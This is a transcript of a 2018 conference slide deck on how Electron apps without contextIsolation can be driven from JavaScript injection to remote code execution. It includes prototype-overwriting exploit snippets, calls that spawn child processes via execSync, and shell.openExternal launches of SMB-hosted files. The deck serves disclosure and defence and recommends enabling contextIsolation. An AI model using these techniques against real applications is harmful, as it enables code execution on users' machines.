$30 off During Our Annual Pro Sale. View Details »

Electron: Abusing the lack of context isolation - CureCon(en)

Electron: Abusing the lack of context isolation - CureCon(en)

This is the slides for CureCon which was held in Berlin

Masato Kinugawa

August 18, 2018
Tweet

More Decks by Masato Kinugawa

Other Decks in Research

Transcript

  1. Masato Kinugawa CureCon 08/2018

  2. About me • Masato Kinugawa (@kinugawamasato) • I live in

    Japan • I Joined Cure53 in 01/2016 • I like web, browser, JavaScript and XSS
  3. Introduction • In 2016, we audited one Electron based application

    • Found RCE, ... but noticed the root cause was in Electron itself • Reported to Electron Team and it was fixed by adding the option called "contextIsolation" • I'd like to talk about it!
  4. Outline 1. Basics of Electron 2. Details of Context Isolation

    3. Abusing the lack of Context Isolation
  5. Basics of Electron 1

  6. Electron? • Framework for creating desktop applications with HTML, CSS

    and JavaScript • Developed by GitHub
  7. https://electronjs.org/#apps

  8. Basics: Process • Electron has two process types • Main

    Process • Renderer Process
  9. Can create Renderer Process Basics: Main Process main.js const {BrowserWindow}

    = require('electron'); let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);
  10. Basics: Renderer Process It's a browser window index.html <!DOCTYPE html>

    <html> <head> <title>TEST</title> </head> <body> <h1>Hello Electron!</h1> <style> body{ background:url('island.png') } </style> </body> </html>
  11. Basics: webPreferences • Settings of renderer process's features • Set

    it in main process, like this: new BrowserWindow({ webPreferences:{ "FEATURE_NAME": true } });
  12. Basics: webPreferences • Important 3 features in this talk •

    nodeIntegration • preload • contextIsolation
  13. Basics: nodeIntegration Decide if Node APIs are enabled in renderer

    let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } }); win.loadURL(`[...] index.html`); main.js <body> <script> require('child_process') .exec('calc') </script> </body> index.html This means: nodeIntegration + XSS in renderer = RCE
  14. Basics: Preload Script • Loaded before other scripts in the

    renderer are loaded • Has unlimited access to Node APIs new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') } }); main.js
  15. Basics: Preload Script /* preload.js */ typeof require === 'function';//true

    window.runCalc = function(){ require('child_process').exec('calc') }; <!– index.html --> <body> <script> typeof require === 'undefined';//true runCalc(); </script> </body> ➡Can export necessary node-features to pages Renderer Process
  16. Are these settings RCE-safe enough? • nodeIntegration : false •

    Necessary features are exported via preload • Also assume that the argument is properly validated to prevent RCE ➡No RCE even if XSS exists?
  17. Still not safe enough Developers should use "contextIsolation" option also!

    new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); What is that? ➡
  18. Details of Context Isolation 2

  19. contextIsolation • Added in v1.4.15 (Released on Jan 20, 2017)

    • The default is false • Official doc still says it's an experimental feature but we really need it to remove the possibility of RCE
  20. contextIsolation's effect • Separates JavaScript context between the page's scripts

    and preload scripts • Separetes JavaScript context between the page's scripts and Electron's internal code
  21. contextIsolation Electron uses the same technology as Chromium's Content Scripts

    to enable this behavior. https://github.com/electron/electron/blob/2551837ffbbd88f48236a658f601e896fb61ec83/doc s/tutorial/security.md#3-enable-context-isolation-for-remote-content “ Let's compare the behavior! ➡
  22. WebExtension's content scripts /* Content Script */ window.abc = 123;

    /* https://example.com */ alert(window.abc)//undefined Isolated World
  23. Electron's preload scripts(default) /* preload.js */ window.abc = 123; /*

    index.html */ alert(window.abc)//123 No Isolated World
  24. Electron(contextIsolation:true) /* preload.js */ window.abc = 123; /* index.html */

    alert(window.abc)//undefined Isolated World
  25. Communicate under contextIsolation:true /* preload.js */ onmessage=function(e){ if(e.data==='runCalc'){ require('child_process').exec('calc') }

    } /* index.html */ postMessage('runCalc','*') Isolated World Use postMessage, like WebExtension's content script
  26. Let's see... and? • The lack of isolated world is

    useful for developers, no? • because we can communicate directly... But it is useful for attackers also?! ➡
  27. Abusing the lack of Context Isolation 3

  28. Basic idea to RCE An Attacker can: 1. Execute arbitrary

    JavaScript in renderer somehow(e.g. XSS or navigation to external sites) 2. Overwrite the built-in method which is used in preload or Electron internal code to own function 3. Trigger the use of overwritten function 4. Something happens => Achieve RCE
  29. Attack Examples #1: Attacking preload scripts #2: Attacking Electron internal

    code
  30. #1: Attacking preload scripts /* preload.js */ const {shell} =

    require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); This code opens only http(s): links with default browser
  31. shell.openExternal ? Opens the given URL using the desktop's default

    way const {shell} = require('electron'); /* Open with default browser */ shell.openExternal('https://example.com/'); /* Open with default mail client */ shell.openExternal('mailto:test@example.com'); /* Execute exe file */ shell.openExternal('file:///C:/windows/system32/calc.exe');
  32. #1: Attacking preload scripts /* preload.js */ const {shell} =

    require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); We want to pass arbitrary URL to shell.openExternal Let's overwrite this!
  33. #1: Attacking preload scripts <script> Array.prototype.indexOf = function(){ return 1337;

    } </script> An attacker injects this JavaScript code:
  34. #1: Attacking preload scripts if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href);

    } Now this code has ...
  35. #1: Attacking preload scripts if (1337 !== -1) { shell.openExternal(link.href);

    } the same meaning as the following code!
  36. #1: Attacking preload scripts <script> Array.prototype.indexOf=function(){ return 1337; } </script>

    <a href="file:///C:/windows/system32/calc.exe">CLICK</a> Click Now all links are opened by shell.openExternal if (1337 !== -1) { shell.openExternal(link.href); }
  37. BTW: Is shell.openExternal really exploitable? • To abuse this, the

    malicious program is placed in a known path • We can't pass any arguments Do we have any ways? ➡
  38. How about file server? const { shell } = require('electron');

    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe"); Shows warning dialog. Hmm...
  39. File server + .SettingContent-ms file const { shell } =

    require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • Matt Nelson found that ".SettingContent-ms" file can run shell command without warning dialog The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 Works!
  40. Other tricks • File server + .jar file (Java needed)

    • Java does not respect ADS • File server + mscorsvw.exe (Found by Alex Inführ) InsertScript: DLL Hijacking via URL files (Alex Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html
  41. #2: Attacking Electron internal code • A part of the

    Electron itself is implemented by using Node.js code • The overwritten built-in method is used here as well • By triggering the use of overwritten method in internal code, can get access to node APIs from the argument
  42. #2: Attacking Electron internal code // Clean cache on quit.

    process.on('exit', function () { for (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d 3ba4c5/lib/common/asar.js#L30-L36 "exit" event listener is always set by the internal code when the page loading is started. This event is emitted just before navigation
  43. #2: Attacking Electron internal code EventEmitter.prototype.emit = function emit(type) {

    [...] handler = events[type]; [...] var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; if the "exit" event is emitted, EventEmitter.prototype.emit is called and it executes "emitNone" function https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231 Note: Here is inside require('events') bundled in Node.js
  44. #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113 Then, it goes here
  45. #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } "self" is Node's process object
  46. #2: Attacking Electron internal code process.mainModule.require The process object has

    a reference to "require" function
  47. #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } So, let's overwrite this "call" and get access to process object
  48. #2: Attacking Electron internal code Overwrite Function.prototype.call, like this: <script>

    Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } location.reload();// Trigger the "exit" event </script>
  49. #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } calc is launched via overwritten "call"!
  50. Attack Routes Attack route's examples: • XSS • Navigation to

    arbitrary remote sites • MitM Basically arbitrary JavaScript execution in the renderer + no "contextIsolation" mean game over.
  51. Attack Routes(2) • Drag & Drop • The window is

    a drop-zone by default, like general browsers
  52. Attack Routes(3-1) •Middle-click the links • Electron opens it in

    the new window by default
  53. Attack Routes(3-2) • Handling middle-click is often forgotten by app

    • "click" event is not emitted /* preload.js */ document.addEventListener('click', (e) => { /* It will not come here */ }, false);
  54. Conclusion • We should know RCE happens in default Electron

    even if "nodeIntegration" is not enabled • "contextIsolation" prevents RCE with overwritten built-in method. We have to use it explicitly because currently the default is false new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); IMPORTANT!
  55. Thanks! • Thanks for reviewing, Mario Heiderich! • Thanks for

    the opportunity to give a presentation, Cure53 members!